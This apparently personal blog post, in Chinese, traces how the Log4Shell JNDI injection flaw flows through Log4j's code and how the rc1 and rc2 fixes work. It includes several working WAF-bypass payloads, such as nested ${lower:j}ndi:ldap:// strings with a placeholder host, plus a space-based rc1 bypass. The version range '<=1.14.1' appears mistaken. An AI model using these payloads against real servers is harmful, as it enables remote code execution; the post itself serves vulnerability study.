log4j漏洞原理复现

环境搭建

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

直接用idea打开,build即可

然后运行即可,成功触发漏洞

漏洞跟踪

跟踪漏洞触发函数

发现接口org/apache/logging/log4j/Logger.java error

查看接口实现方法 org/apache/logging/log4j/spi/AbstractLogger.java

跟踪logIfEnabled()函数的逻辑

跟踪到tryLogMessage时,通过静态查找log函数,是不对的,通过动态跟踪更加准确,后面分析感觉是因为跨组件了,所以用idea的搜索搜出来不对

动态debug调试会跳到org/apache/logging/log4j/core/Logger.java

继续跟进最终会走到org/apache/logging/log4j/core/config/LoggerConfig.java 452行的一个三元表达式,这里三元表达式的2个分支实现原理都是一样的,不同点是做了强转,最终都是调用了logEventFactory.createEvent()函数,并将其中的参数统一set到logEvent的返回值中,当然poc也存在了其中

继续跟进,发现将保存有poc的event参数传入了org/apache/logging/log4j/core/config/LoggerConfig.java的callAppenders()中

继续跟进发现在org/apache/logging/log4j/core/layout/PatternLayout.java处会进行format操作,此次调试中再i为8时会进入触发poc

跟进后步入了org/apache/logging/log4j/core/pattern/MessagePatternConverter.java中的config.getStrSubstitutor()函数中,并且传入的value参数根据字符串中存在${的逻辑进行阶段,因为config是动态赋值的,静态根据找不到对应的类,此处在动态调试步入后就直接触发漏洞,点击红色的步入Force step into可以继续查看逻辑

进入了StrSubstitutor后发现在org/apache/logging/log4j/core/config/AbstractConfiguration.java直接返回了个subst参数,对该参数进行分析

发现是调用的StrSubstitutor类,并且传入的是一个StrLookup变量

查看StrSubstitutor的逻辑,org/apache/logging/log4j/core/lookup/StrSubstitutor.java发现在初始化时如果只有一个变量,会调用自己的另一个构造方法,并带上3个默认的参数,后续逻辑为对几个参数值进行赋值到返回的subst参数中

这里带4个参数的构造方法有2个,而DEFAULT_PREFIX参数是StrMatcher类,因此会跳到下方的函数

之后会调用带有6个参数的构造方法,setValueDelimiterMatcher的值为:-

传入的这5个参数分别对应 ${}:-:\-的字符,这些字符除了:-在后面绕waf的poc中有体现

继续跟入org/apache/logging/log4j/core/lookup/StrSubstitutor.javareplace函数,该函数不是字符串的replace,是自定义的replace函数

跟进处理逻辑,发现将类中的特殊字符取出来,后续进行删除字符操作

进行处理后会走到resolveVariable函数

该函数会将event和variableName传入lookup函数中,lookup一般是java反序列化远程加载类的一个重要函数名

这里的resolver可以是支持以下类型,而我们的远程加载类型jndi在里面,绕waf的poc的lower也在里面,因此可以通过lower来绕waf

最终跟进,进入到org/apache/logging/log4j/core/lookup/Interpolator.java中的lookup函数,并且传入的variableName是截取的poc,最终调用java的lookup触发远程加载实现反序列化,但这里不是加载的name的值,因为event值不会null,则会调用lookup.lookup(event, name)函数或者进入defaultlookup.lookup()函数

最终触发点使用了jndimanager加载远程资源

调用java原生态lookup

WAF BYPASS手法

在代码分析过程中,发现会对${}:-:\\-有处理,则将这类特殊符号插入poc中任然可以让逻辑将这些符号吞掉,执行代码定义StrSubstitutor(x,x,x,x)时会传入4个参数,会调用自身传入6个参数的构造方法

可以看到下面的处理逻辑:-进入了配置,而:\-并没有进入配置,所以这也就是无法用:\-来绕过waf的原因

在处理字符串的代码块中也将该值提取出来,并进行截取

在进行对字符串进行递进检测时,会将${}内容分成多个小块,然后会截取xxxxx:-的内容为varName,之后的内容j为varDefaultValue

在进行对字符串进行递进检测时,会将${}内容分成多个小块,第一次切割会去掉最外面的${}

第二次切割掉${j}${},并将j放入循环

截取的小块内容会在之后的buf.replace进行还原拼接,但前提是该小块内容需要有:-或者{协议}:这样的参数才能进入到拼接的逻辑中

这也就是为什么可以使用以下poc

${${xx:-j}ndi:ldap://xxx.xx/a}

而使用lower:协议,会让varVaule在进入resoverVariable时返回值就为协议后的内容,也会顺利进入buf.replace中

跟踪log4j的StrLookup方法会调用到lower专属的lookup解析方式org/apache/logging/log4j/core/lookup/LowerLookup.java

最后返回小写字母,因此返回值也不会为null,会进入到拼接的判断中

因此可以这么写poc

${${lower:j}ndi:ldap://xx.xx/a}

还可以处理字符串的协议有

${${upper:j}ndi:ldap://xx.xx/a}

协议会被统一处理成小写因此,可以写成

${${loWeR:j}ndi:ldap://xx.xx/a}

修复

log4j漏洞影响版本在 <=1.14.1,但是网上说在log4j-2.15.0-rc1仍然可以绕过,于是出了rc2

2.15.0-rc1在默认配置下安全,但如果配置文件中开启了lookup功能则存在问题,在最终触发点处org/apache/logging/log4j/core/net/JndiManager.java,和2.14.1不同的在于,他进行了一系列的对协议内容的检测

但catch处并没有return,则只要try里面的内容报错,则这段过滤就没用,绕过方法则让下面一行报错

URI uri = new URI(name);

使用空格来处理url则会报错,但最终还是会解析

${jndi:ldap://xx.xx/ a}

rc2则在catch处增加了return,就没问题了

2.15.0正式版之后,对${}的处理代码结构已经完全改变,漏洞无法走到该逻辑处

参考链接

https://forum.butian.net/share/966

posted @ 2022-08-17 17:28  sijidou  阅读(1275)  评论(0编辑  收藏  举报